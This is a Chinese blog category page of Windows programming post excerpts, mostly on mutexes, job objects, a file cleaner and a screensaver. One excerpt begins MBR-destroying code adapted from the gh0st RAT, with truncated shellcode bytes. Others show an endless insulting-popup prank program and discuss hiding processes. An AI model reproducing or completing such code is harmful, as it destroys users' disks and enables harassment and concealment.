随笔分类 - windows
摘要:接上一篇这次是验证Open*(本文使用OpenMutex函数)的命名对象在继承中安全属性的传递 SECURITY_ATTRIBUTES sa; //设置句柄安全性 sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; HANDLE hMutex1 = CreateMutex(&sa, FALSE, TEXT("JeffObj")); //创建对象句柄1 HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FAL...
阅读全文
摘要:windows核心编程 第5版 48页 下半部写道进程B调用CreateMutex时,它会向函数传递安全属性信息和第二参数。如果已经存在一个指定名称的对象,这些对象就会被忽略于是我通过代码来验证这句话注意 第47页这个函数调用创建一个新的互斥量内核对象,并将其命名为“JeffMutex”。注意,在进程A的句柄(表)中,hMutexProcessA并不是一个可继承的句柄-但是通过为对象命名来实现共享时,是否可以继承并非一个必要条件。 HANDLE hMutex1 = CreateMutex(NULL, FALSE, TEXT("JeffObj")); //创建命名对象句柄1
阅读全文
摘要:在一个技术QQ群里围观有人求怎么样隐藏进程名另外一个朋友告诉他标题栏为空可以隐藏然后又有一人问如果进程名为空呢?没有人回答经过尝试,发现标题栏为空确实可以隐藏程序在windows应用程序管理器里显示但是进程名为空,百思不得其姐现在感觉不能自定义命名进程,因为进程是执行的程序,而执行的程序一般以.exe为后缀名,我的初始想法是设置空进程名,但是现在感觉不可能师傅:都是不及格的方案~应该走内核~其它资料:http://joychou.sinaapp.com/index.php/archives/82/
阅读全文
摘要:看到windows核心编程 第5章的最后一节,发现job lab例子程序不能在我的系统(win8下)正常运行,总是提示“进程在一个作业里”用process explorer程序查看于是我找到例子程序源码的这段判断程序,注释后编译运行终于进了程序的界面可是我认为这不是一个好的解决方案于是去看书的123页下面到124页上的那段话果然在程序已经关联了作业对象但是最后,书上说到,一个简单的解决方案是从命令行而不是windows资源管理器中启动调试器,在这种情况下,我们的进程就不会与作业关联于是取消程序源码里的注释,从命令行启动程序我意识到到取消程序源码里对是否关联作业对象的判断是多么愚蠢的行为
阅读全文
摘要:// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]){ _wsetlocale(LC_ALL, L"chs"); //支持中文本地化 TCHAR szBuffer[10] = { TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'), TEXT('-'),TEXT(
阅读全文
摘要:// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]){ _wsetlocale(LC_ALL, L"chs"); //支持中文本地化 TCHAR szBuffer[10] = { TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'), TEXT('-'),TEXT(
阅读全文
摘要:/*//KILLMBR.c源自gh0st远控3.6版的源码中对版权保护的硬盘锁,只做了少量修改通过这一篇文章了解 http://blog.csdn.net/qiurisuixiang/article/details/7314882 2013/7/11 by赫*/#include "stdafx.h"int KillMBR() ;unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\x
阅读全文
摘要:#include "stdafx.h"int WINAPI _tWinMain(HINSTANCE hInstanceExe, HINSTANCE, PTSTR pszCmdLine, int){ HWND hWnd = GetDesktopWindow(); while(1){ ::MessageBox(hWnd, _T("FUCK YOU"), _T("整蛊程序"), MB_OK); } return(0);}MessageBox弹出窗口,while(1),无限循环执行
阅读全文
摘要://读取unicode文件,并清除记录的垃圾文件//参数1:日志文件路径bool ReadFilePath(const wchar_t *DataFilePath){ wchar_t ChBuffer = L'\0'; //将要从文件读取的单个字符 wchar_t CleanFilePath[256] = L"\0"; //将要清除的垃圾文件路径 DWORD ReadNumber = 0; //已经读取的路径拥有的字符数量 DWORD dwReadSize = 100;//已经读取多少数据 HANDLE handle_File = CreateFile(Da
阅读全文
摘要:http://www.cnblogs.com/zero5/p/3162948.html一位素不相识的朋友做的代码雨屏保程序 - 残雪孤侠 - 博客园上面是我的BLOG群共享里,有程序和代码一开始想分享跟其他人,结果测试遇到VS2010生成的文件在别的机器上运行提示“丢失MSVCR100D.dll”,然后看到这个http://ntzrj513.blog.163.com/blog/static/27945612201219117799/【转】VS2010生成的文件在别的机器上运行提示“丢失MSVCR100D.dll解决方法:在vs2010下,按ALT+F7,打开工程属性–>配置属性–>
阅读全文
摘要:用VS编译后改后缀名为scr,放到屏保目录// Rain.cpp : 定义控制台应用程序的入口点。//#include “stdafx.h”#include #define ID_TIMER 1 #define STRMAXLEN 25 //一个显示列的最大长度 #define STRMINLEN 8 //一个显示列的最小长度 LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; ////////////////////////////////////////////////////////////////// /////...
阅读全文

浙公网安备 33010602011771号